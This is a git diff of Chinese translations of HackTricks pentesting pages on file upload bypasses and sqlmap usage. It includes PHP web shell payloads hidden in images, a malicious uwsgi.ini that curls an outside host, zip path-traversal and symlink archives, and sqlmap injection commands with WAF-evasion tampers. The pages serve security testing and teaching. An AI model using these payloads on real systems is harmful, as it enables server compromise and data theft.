|
||||
- _file.php%20_
|
||||
- _file.php%0a_
|
||||
- _file.php%00_
|
||||
@ -40,18 +40,18 @@
|
||||
- _file.php%0a.png_
|
||||
- _file.php%0d%0a.png_
|
||||
- _file.phpJunk123png_
|
||||
5. 在之前的检查中添加**另一层扩展名**:
|
||||
5. 为之前的检查添加**另一层扩展名**:
|
||||
- _file.png.jpg.php_
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. 尝试将**执行扩展名放在有效扩展名之前**,并祈祷服务器配置错误。(有助于利用Apache配置错误,其中任何带有扩展名**_**.php**_**的内容,但不一定以.php**_**结尾的内容将执行代码):
|
||||
- _例如:file.php.png_
|
||||
7. 在**Windows**中使用**NTFS备用数据流(ADS)**。在这种情况下,冒号字符“:”将插入在禁止扩展名之后和允许扩展名之前。因此,将在服务器上创建一个**带有禁止扩展名的空文件**(例如“file.asax:.jpg”)。该文件可以稍后使用其他技术进行编辑,例如使用其短文件名。可以使用“**::$data**”模式来创建非空文件。因此,在此模式后添加点字符也可能有助于绕过进一步的限制(例如“file.asp::$data.”)
|
||||
6. 尝试将**exec扩展名放在有效扩展名之前**,并祈祷服务器配置错误。(有助于利用Apache配置错误,其中任何带有扩展名**_**.php**_**的内容,但不一定以.php**_**结尾的内容将执行代码):
|
||||
- _例如: file.php.png_
|
||||
7. 在**Windows**中使用**NTFS备用数据流(ADS)**。在这种情况下,冒号字符“:”将插入在禁止扩展名之后和允许扩展名之前。因此,将在服务器上创建一个**带有禁止扩展名的空文件**(例如“file.asax:.jpg”)。该文件可以稍后使用其他技术进行编辑,例如使用其短文件名。“**::$data**”模式也可以用于创建非空文件。因此,在此模式后添加一个点字符也可能有助于绕过进一步的限制(例如“file.asp::$data.”)
|
||||
8. 尝试打破文件名限制。有效扩展名被截断,恶意PHP被保留。AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux最大255字节
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # 在这里减去4并添加.png
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # 在这里减去4并添加.png
|
||||
# 上传文件并检查响应允许多少个字符。假设236
|
||||
python -c 'print "A" * 232'
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
@ -62,12 +62,12 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
### 绕过内容类型、魔术数字、压缩和调整大小
|
||||
|
||||
- 通过将**Content-Type** **header**的**值**设置为:_image/png_ , _text/plain , application/octet-stream_来绕过**Content-Type**检查。
|
||||
1. Content-Type **字典**:[https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
1. Content-Type **字典**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- 通过在文件开头添加**真实图像的字节**(混淆_file_命令)来绕过**魔术数字**检查。或者在**元数据**中引入shell:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` 或者你也可以**直接在图像中引入有效载荷**:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
- 如果**压缩被添加到你的图像**,例如使用一些标准的PHP库如[PHP-GD](https://www.php.net/manual/fr/book.image.php),那么之前的技术将无效。然而,你可以使用**PLTE块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)来插入一些文本,使其**在压缩中存活**。
|
||||
- 如果**压缩被添加到你的图像中**,例如使用一些标准的PHP库如[PHP-GD](https://www.php.net/manual/fr/book.image.php),那么之前的技术将无效。然而,你可以使用**PLTE块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)来插入一些文本,使其**在压缩中存活**。
|
||||
- [**Github上的代码**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- 网页也可能在**调整图像大小**,例如使用PHP-GD函数`imagecopyresized`或`imagecopyresampled`。然而,你可以使用**IDAT块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)来插入一些文本,使其**在压缩中存活**。
|
||||
- [**Github上的代码**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
@ -81,16 +81,16 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
- **可能的信息泄露**:
|
||||
1. 上传**多次**(并且在**同一时间**)相同名称的**相同文件**
|
||||
2. 上传一个**已经存在**的**文件**或**文件夹**的**名称**的文件
|
||||
3. 上传一个**“.”、 “..”或“...”作为其名称**的文件。例如,在Apache的**Windows**中,如果应用程序将上传的文件保存在“/www/uploads/”目录中,“.”文件名将创建一个名为“uploads”的文件在“/www/”目录中。
|
||||
4. 上传一个可能不容易删除的文件,例如**“…:.jpg”**在**NTFS**中。(Windows)
|
||||
5. 在**Windows**中上传一个带有**无效字符**的文件,例如`|<>*?”`作为其名称。(Windows)
|
||||
6. 在**Windows**中上传一个使用**保留**(**禁止**)**名称**的文件,例如CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8和LPT9。
|
||||
3. 上传一个文件,其名称为**“.”, “..”, 或 “…”**。例如,在Apache的**Windows**中,如果应用程序将上传的文件保存在“/www/uploads/”目录中,则“.”文件名将在“/www/”目录中创建一个名为“uploads”的文件。
|
||||
4. 上传一个可能不易删除的文件,例如**“…:.jpg”**在**NTFS**中。(Windows)
|
||||
5. 在**Windows**中上传一个文件,其名称中包含**无效字符**,例如`|<>*?”`。(Windows)
|
||||
6. 在**Windows**中上传一个文件,使用**保留**(**禁止**)**名称**,例如CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, 和 LPT9。
|
||||
- 还可以尝试**上传一个可执行文件**(.exe)或一个**.html**(不太可疑),当被受害者意外打开时**将执行代码**。
|
||||
|
||||
### 特殊扩展名技巧
|
||||
|
||||
如果你尝试将文件上传到**PHP服务器**,[查看**.htaccess**技巧以执行代码](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution)。\
|
||||
如果你尝试将文件上传到**ASP服务器**,[查看**.config**技巧以执行代码](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)。
|
||||
如果你尝试将文件上传到**PHP服务器**, [查看**.htaccess**技巧以执行代码](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution)。\
|
||||
如果你尝试将文件上传到**ASP服务器**, [查看**.config**技巧以执行代码](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)。
|
||||
|
||||
`.phar`文件类似于Java的`.jar`,但用于PHP,可以**像PHP文件一样使用**(用PHP执行或在脚本中包含它...)
|
||||
|
||||
@ -98,7 +98,7 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
如果你可以将XML文件上传到Jetty服务器,你可以获得[RCE,因为**新的\*.xml和\*.war会被自动处理**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**。**因此,如下图所示,将XML文件上传到`$JETTY_BASE/webapps/`并期待shell!
|
||||
如果你可以将XML文件上传到Jetty服务器,你可以获得[RCE,因为**新的\*.xml和\*.war会被自动处理**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**。** 所以,如下图所示,将XML文件上传到`$JETTY_BASE/webapps/`并期待shell!
|
||||
|
||||
.png>)
|
||||
|
||||
@ -106,7 +106,7 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
|
||||
有关此漏洞的详细探索,请查看原始研究:[uWSGI RCE利用](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)。
|
||||
|
||||
如果能够修改`.ini`配置文件,则可以在uWSGI服务器中利用远程命令执行(RCE)漏洞。uWSGI配置文件利用特定语法来包含“魔术”变量、占位符和操作符。值得注意的是,`@`操作符,作为`@(filename)`使用,旨在包含文件的内容。在uWSGI支持的各种方案中,“exec”方案特别强大,允许从进程的标准输出读取数据。当处理`.ini`配置文件时,可以利用此功能进行恶意目的,例如远程命令执行或任意文件写入/读取。
|
||||
如果能够修改`.ini`配置文件,则可以在uWSGI服务器中利用远程命令执行(RCE)漏洞。uWSGI配置文件利用特定语法来包含“魔术”变量、占位符和操作符。值得注意的是,`@`操作符,作为`@(filename)`使用,旨在包含文件的内容。在uWSGI支持的各种方案中,“exec”方案特别强大,允许从进程的标准输出读取数据。当处理`.ini`配置文件时,可以利用此功能进行恶意目的,例如远程命令执行或任意文件写入/读取。
|
||||
|
||||
考虑以下有害的`uwsgi.ini`文件示例,展示各种方案:
|
||||
```ini
|
||||
@ -126,7 +126,7 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
||||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
有效负载的执行发生在配置文件解析期间。为了激活和解析配置,uWSGI 进程必须被重启(可能是在崩溃后或由于拒绝服务攻击)或文件必须设置为自动重载。如果启用自动重载功能,在检测到更改时会在指定的时间间隔内重新加载文件。
|
||||
有效负载的执行发生在配置文件解析期间。为了激活和解析配置,uWSGI 进程必须重新启动(可能是在崩溃后或由于拒绝服务攻击)或文件必须设置为自动重载。如果启用了自动重载功能,在检测到更改时会在指定的时间间隔内重新加载文件。
|
||||
|
||||
理解 uWSGI 配置文件解析的宽松性质至关重要。具体来说,讨论的有效负载可以插入到二进制文件中(例如图像或 PDF),进一步扩大潜在利用的范围。
|
||||
|
||||
@ -156,7 +156,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
|
||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||
```
|
||||
注意,您可能正在考虑的**另一个选项**是使**HTTP服务器重定向到另一个文件**,因此初始URL将绕过检查,然后wget将下载重定向的文件并使用新名称。这**不会工作**,**除非**wget与**参数**`--trust-server-names`一起使用,因为**wget将下载重定向页面,并使用原始URL中指示的文件名**。
|
||||
注意,您可能正在考虑的**另一个选项**是使**HTTP服务器重定向到另一个文件**,这样初始URL将绕过检查,然后wget将下载重定向的文件并使用新名称。这**不会工作**,**除非**wget与**参数**`--trust-server-names`一起使用,因为**wget将下载重定向页面,并使用原始URL中指示的文件名**。
|
||||
|
||||
## 工具
|
||||
|
||||
@ -180,7 +180,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
- 上传\[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt))内容以检查服务器是否有任何**防病毒**
|
||||
- 检查上传文件是否有任何**大小限制**
|
||||
|
||||
以下是您可以通过上传实现的前10个事项(来自[这里](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
以下是您可以通过上传实现的前10件事情(来自[这里](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
|
||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**:Webshell / RCE
|
||||
2. **SVG**:存储的XSS / SSRF / XXE
|
||||
@ -206,11 +206,11 @@ https://github.com/portswigger/upload-scanner
|
||||
|
||||
请参阅[https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures)以获取其他文件类型。
|
||||
|
||||
### Zip/Tar文件自动解压上传
|
||||
## Zip/Tar文件自动解压上传
|
||||
|
||||
如果您可以上传一个将在服务器内部解压的ZIP,您可以做两件事:
|
||||
|
||||
#### 符号链接
|
||||
### 符号链接
|
||||
|
||||
上传一个包含软链接到其他文件的链接,然后,访问解压的文件时,您将访问链接的文件:
|
||||
```
|
||||
@ -220,7 +220,7 @@ tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### 在不同文件夹中解压
|
||||
|
||||
在解压过程中意外在目录中创建文件是一个重大问题。尽管最初假设这种设置可能会防止通过恶意文件上传进行操作系统级命令执行,但ZIP归档格式的层次压缩支持和目录遍历能力可以被利用。这使得攻击者能够绕过限制,通过操纵目标应用程序的解压功能来逃离安全上传目录。
|
||||
在解压过程中意外在目录中创建文件是一个重大问题。尽管最初假设这种设置可能会防止通过恶意文件上传进行操作系统级命令执行,但ZIP归档格式的层次压缩支持和目录遍历能力可以被利用。这使得攻击者能够绕过限制,通过操纵目标应用程序的解压功能逃离安全上传目录。
|
||||
|
||||
一个自动化的利用工具可以在 [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) 找到。该工具的使用方法如下:
|
||||
```python
|
||||
@ -249,9 +249,9 @@ zip.close()
|
||||
|
||||
create_zip()
|
||||
```
|
||||
**滥用压缩进行文件喷洒**
|
||||
**利用压缩进行文件喷洒**
|
||||
|
||||
有关更多详细信息,请**查看原始帖子**:[https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
有关更多详细信息,请**查看原始帖子**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
1. **创建 PHP Shell**:编写 PHP 代码以执行通过 `$_REQUEST` 变量传递的命令。
|
||||
|
||||
@ -270,7 +270,7 @@ root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php
|
||||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
```
|
||||
|
||||
3. **使用十六进制编辑器或 vi 修改**:使用 vi 或十六进制编辑器更改 zip 内部文件的名称,将 "xxA" 更改为 "../" 以遍历目录。
|
||||
3. **使用十六进制编辑器或 vi 进行修改**:使用 vi 或十六进制编辑器更改 zip 内部文件的名称,将 "xxA" 更改为 "../" 以遍历目录。
|
||||
|
||||
```bash
|
||||
:set modifiable
|
||||
@ -291,20 +291,28 @@ pop graphic-context
|
||||
|
||||
在PNG文件的IDAT块中嵌入PHP shell可以有效绕过某些图像处理操作。PHP-GD中的`imagecopyresized`和`imagecopyresampled`函数在此上下文中特别相关,因为它们通常用于调整和重采样图像。嵌入的PHP shell能够不受这些操作影响,这对某些用例来说是一个显著的优势。
|
||||
|
||||
以下文章提供了对该技术的详细探讨,包括其方法论和潜在应用:["在PNG IDAT块中编码Web Shells"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。该资源提供了对该过程及其影响的全面理解。
|
||||
关于此技术的详细探讨,包括其方法论和潜在应用,详见以下文章:["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。该资源提供了对该过程及其影响的全面理解。
|
||||
|
||||
更多信息在:[https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
## 多格式文件
|
||||
|
||||
多格式文件在网络安全中作为一种独特的工具,像变色龙一样可以同时有效地存在于多种文件格式中。一个有趣的例子是[GIFAR](https://en.wikipedia.org/wiki/Gifar),它既可以作为GIF文件,也可以作为RAR归档文件。这类文件并不限于这种组合;像GIF和JS或PPT和JS的组合也是可行的。
|
||||
多格式文件在网络安全中作为一种独特工具,像变色龙一样可以同时有效存在于多种文件格式中。一个有趣的例子是[GIFAR](https://en.wikipedia.org/wiki/Gifar),它既可以作为GIF文件,也可以作为RAR归档文件。这类文件并不限于这种组合;像GIF和JS或PPT和JS的组合也是可行的。
|
||||
|
||||
多格式文件的核心用途在于它们能够绕过基于类型的安全措施。各种应用中的常见做法是仅允许某些文件类型上传——如JPEG、GIF或DOC——以降低潜在有害格式(例如JS、PHP或Phar文件)带来的风险。然而,多格式文件通过符合多种文件类型的结构标准,可以悄然绕过这些限制。
|
||||
|
||||
尽管它们具有适应性,多格式文件仍然面临限制。例如,虽然一个多格式文件可能同时包含PHAR文件(PHp ARchive)和JPEG,但其上传的成功可能取决于平台的文件扩展名政策。如果系统对允许的扩展名要求严格,仅仅是多格式文件的结构双重性可能不足以保证其上传。
|
||||
尽管它们具有适应性,但多格式文件确实面临限制。例如,虽然一个多格式文件可能同时包含PHAR文件(PHp ARchive)和JPEG,但其上传的成功可能取决于平台的文件扩展名政策。如果系统对允许的扩展名要求严格,仅仅是多格式文件的结构双重性可能不足以保证其上传。
|
||||
|
||||
更多信息在:[https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
### 像PDF一样上传有效的JSON
|
||||
|
||||
如何通过伪装成PDF文件上传有效的JSON文件以避免文件类型检测(来自**[这篇博客文章](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||
|
||||
- **`mmmagic`库**:只要前1024字节中包含`%PDF`魔术字节,它就是有效的(从文章中获取示例)
|
||||
- **`pdflib`库**:在JSON的字段中添加一个伪造的PDF格式,以便库认为它是PDF(从文章中获取示例)
|
||||
- **`file`二进制**:它可以从文件中读取最多1048576字节。只需创建一个比这更大的JSON,以便它无法将内容解析为JSON,然后在JSON内部放入真实PDF的初始部分,它会认为这是一个PDF
|
||||
|
||||
## 参考文献
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
|
||||
@ -313,5 +321,6 @@ pop graphic-context
|
||||
- [https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)
|
||||
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## SQLmap的基本参数
|
||||
|
||||
### 通用
|
||||
@ -43,13 +42,13 @@
|
||||
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
|
||||
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
|
||||
```
|
||||
使用 [SQLMapping](https://taurusomar.github.io/sqlmapping/) 是一个实用工具,可以生成命令并提供 SQLMap 的完整概述,包括基本和高级功能。它包括 ToolTips,解释工具的每个方面,详细说明每个选项,以便您可以提高并理解如何有效和高效地使用它。
|
||||
使用 [SQLMapping](https://taurusomar.github.io/sqlmapping/) 是一个实用工具,可以生成命令并提供 SQLMap 的完整概述,包括基本和高级功能。它包括 ToolTips,解释工具的每个方面,详细说明每个选项,以便您可以提高效率并有效地使用它。
|
||||
|
||||
## 注入位置
|
||||
|
||||
### 从 Burp/ZAP 捕获
|
||||
|
||||
捕获请求并创建一个 req.txt 文件
|
||||
捕获请求并创建 req.txt 文件
|
||||
```bash
|
||||
sqlmap -r req.txt --current-user
|
||||
```
|
||||
@ -80,9 +79,13 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
|
||||
```bash
|
||||
--string="string_showed_when_TRUE"
|
||||
```
|
||||
### 添加检测技术
|
||||
|
||||
如果你发现了 SQLi,但 sqlmap 没有检测到,你可以使用 `--prefix` 或 `--suffix` 等参数强制检测技术,或者如果更复杂,可以将其添加到 sqlmap 使用的有效载荷中,例如在 `/usr/share/sqlmap/data/xml/payloads/time_blind.xml` 中用于基于时间盲的攻击。
|
||||
|
||||
### Eval
|
||||
|
||||
**Sqlmap** 允许使用 `-e` 或 `--eval` 在发送之前处理每个有效负载,使用一些 python 一行代码。这使得在发送之前以自定义方式处理有效负载变得非常简单和快速。在以下示例中,**flask cookie session** **在发送之前由 flask 使用已知的密钥进行签名**:
|
||||
**Sqlmap** 允许使用 `-e` 或 `--eval` 在发送之前处理每个有效载荷,使用一些 Python 单行代码。这使得在发送之前以自定义方式处理有效载荷变得非常简单和快速。在以下示例中,**flask cookie session** **在发送之前由 flask 使用已知的密钥进行签名**:
|
||||
```bash
|
||||
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
|
||||
```
|
||||
@ -133,7 +136,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
```
|
||||
### Tamper
|
||||
|
||||
请记住,**您可以在 Python 中创建自己的 tamper**,这非常简单。您可以在[第二次注入页面这里](second-order-injection-sqlmap.md)找到一个 tamper 示例。
|
||||
记住,**你可以用 Python 创建自己的 tamper**,这非常简单。你可以在[第二次注入页面这里](second-order-injection-sqlmap.md)找到一个 tamper 示例。
|
||||
```bash
|
||||
--tamper=name_of_the_tamper
|
||||
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
|
||||
@ -141,23 +144,23 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
| Tamper | Description |
|
||||
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| apostrophemask.py | 用其 UTF-8 全宽对应字符替换撇号字符 |
|
||||
| apostrophenullencode.py | 用其非法双重 Unicode 对应字符替换撇号字符 |
|
||||
| apostrophenullencode.py | 用其非法双 Unicode 对应字符替换撇号字符 |
|
||||
| appendnullbyte.py | 在有效负载末尾附加编码的 NULL 字节字符 |
|
||||
| base64encode.py | 对给定有效负载中的所有字符进行 Base64 编码 |
|
||||
| between.py | 用 'NOT BETWEEN 0 AND #' 替换大于运算符 ('>') |
|
||||
| bluecoat.py | 用有效的随机空白字符替换 SQL 语句后的空格字符。然后用 LIKE 运算符替换字符 = |
|
||||
| chardoubleencode.py | 对给定有效负载中的所有字符进行双重 URL 编码(不处理已编码的字符) |
|
||||
| commalesslimit.py | 用 'LIMIT N OFFSET M' 替换类似 'LIMIT M, N' 的实例 |
|
||||
| commalessmid.py | 用 'MID(A FROM B FOR C)' 替换类似 'MID(A, B, C)' 的实例 |
|
||||
| concat2concatws.py | 用 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' 替换类似 'CONCAT(A, B)' 的实例 |
|
||||
| charencode.py | 对给定有效负载中的所有字符进行 URL 编码(不处理已编码的字符) |
|
||||
| charunicodeencode.py | 对给定有效负载中未编码的字符进行 Unicode URL 编码(不处理已编码的字符)。"%u0022" |
|
||||
| charunicodeescape.py | 对给定有效负载中未编码的字符进行 Unicode URL 编码(不处理已编码的字符)。"\u0022" |
|
||||
| equaltolike.py | 用运算符 'LIKE' 替换所有等于运算符 ('=') 的出现 |
|
||||
| escapequotes.py | 斜杠转义引号 (' 和 ") |
|
||||
| bluecoat.py | 用有效的随机空白字符替换 SQL 语句后的空格字符。然后将字符 = 替换为 LIKE 运算符 |
|
||||
| chardoubleencode.py | 对给定有效负载中的所有字符进行双重 URL 编码(不处理已编码的字符) |
|
||||
| commalesslimit.py | 用 'LIMIT N OFFSET M' 替换 'LIMIT M, N' 的实例 |
|
||||
| commalessmid.py | 用 'MID(A FROM B FOR C)' 替换 'MID(A, B, C)' 的实例 |
|
||||
| concat2concatws.py | 用 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' 替换 'CONCAT(A, B)' 的实例 |
|
||||
| charencode.py | 对给定有效负载中的所有字符进行 URL 编码(不处理已编码的字符) |
|
||||
| charunicodeencode.py | 对给定有效负载中的未编码字符进行 Unicode URL 编码(不处理已编码的字符)。"%u0022" |
|
||||
| charunicodeescape.py | 对给定有效负载中的未编码字符进行 Unicode URL 编码(不处理已编码的字符)。"\u0022" |
|
||||
| equaltolike.py | 用运算符 'LIKE' 替换所有等于运算符 ('=') 的出现 |
|
||||
| escapequotes.py | 反斜杠转义引号 (' 和 ") |
|
||||
| greatest.py | 用 'GREATEST' 对应字符替换大于运算符 ('>') |
|
||||
| halfversionedmorekeywords.py | 在每个关键字前添加版本化的 MySQL 注释 |
|
||||
| ifnull2ifisnull.py | 用 'IF(ISNULL(A), B, A)' 替换类似 'IFNULL(A, B)' 的实例 |
|
||||
| ifnull2ifisnull.py | 用 'IF(ISNULL(A), B, A)' 替换 'IFNULL(A, B)' 的实例 |
|
||||
| modsecurityversioned.py | 用版本化注释包裹完整查询 |
|
||||
| modsecurityzeroversioned.py | 用零版本化注释包裹完整查询 |
|
||||
| multiplespaces.py | 在 SQL 关键字周围添加多个空格 |
|
||||
@ -169,23 +172,23 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
| securesphere.py | 附加特殊构造的字符串 |
|
||||
| sp_password.py | 在有效负载末尾附加 'sp_password' 以自动混淆 DBMS 日志 |
|
||||
| space2comment.py | 用注释替换空格字符 (' ') |
|
||||
| space2dash.py | 用破折号注释 ('--') 替换空格字符 (' '),后跟随机字符串和换行符 ('\n') |
|
||||
| space2dash.py | 用破折号注释 ('--') 替换空格字符 (' '),后跟随机字符串和换行符 ('\n') |
|
||||
| space2hash.py | 用井号字符 ('#') 替换空格字符 (' '),后跟随机字符串和换行符 ('\n') |
|
||||
| space2morehash.py | 用井号字符 ('#') 替换空格字符 (' '),后跟随机字符串和换行符 ('\n') |
|
||||
| space2mssqlblank.py | 用有效的替代字符集中的随机空白字符替换空格字符 (' ') |
|
||||
| space2mssqlblank.py | 用有效替代字符集中的随机空白字符替换空格字符 (' ') |
|
||||
| space2mssqlhash.py | 用井号字符 ('#') 替换空格字符 (' '),后跟换行符 ('\n') |
|
||||
| space2mysqlblank.py | 用有效的替代字符集中的随机空白字符替换空格字符 (' ') |
|
||||
| space2mysqlblank.py | 用有效替代字符集中的随机空白字符替换空格字符 (' ') |
|
||||
| space2mysqldash.py | 用破折号注释 ('--') 替换空格字符 (' '),后跟换行符 ('\n') |
|
||||
| space2plus.py | 用加号 ('+') 替换空格字符 (' ') |
|
||||
| space2randomblank.py | 用有效的替代字符集中的随机空白字符替换空格字符 (' ') |
|
||||
| symboliclogical.py | 用其符号对应物 (&& 和) 替换 AND 和 OR 逻辑运算符 |
|
||||
| space2randomblank.py | 用有效替代字符集中的随机空白字符替换空格字符 (' ') |
|
||||
| symboliclogical.py | 用其符号对应物 (&& 和) 替换 AND 和 OR 逻辑运算符 |
|
||||
| unionalltounion.py | 用 UNION SELECT 替换 UNION ALL SELECT |
|
||||
| unmagicquotes.py | 用多字节组合 %bf%27 替换引号字符 ('),并在末尾添加通用注释(以使其工作) |
|
||||
| unmagicquotes.py | 用多字节组合 %bf%27 替换引号字符 ('),并在末尾添加通用注释(以使其工作) |
|
||||
| uppercase.py | 用大写值 'INSERT' 替换每个关键字字符 |
|
||||
| varnish.py | 附加 HTTP 头 'X-originating-IP' |
|
||||
| versionedkeywords.py | 用版本化的 MySQL 注释包裹每个非函数关键字 |
|
||||
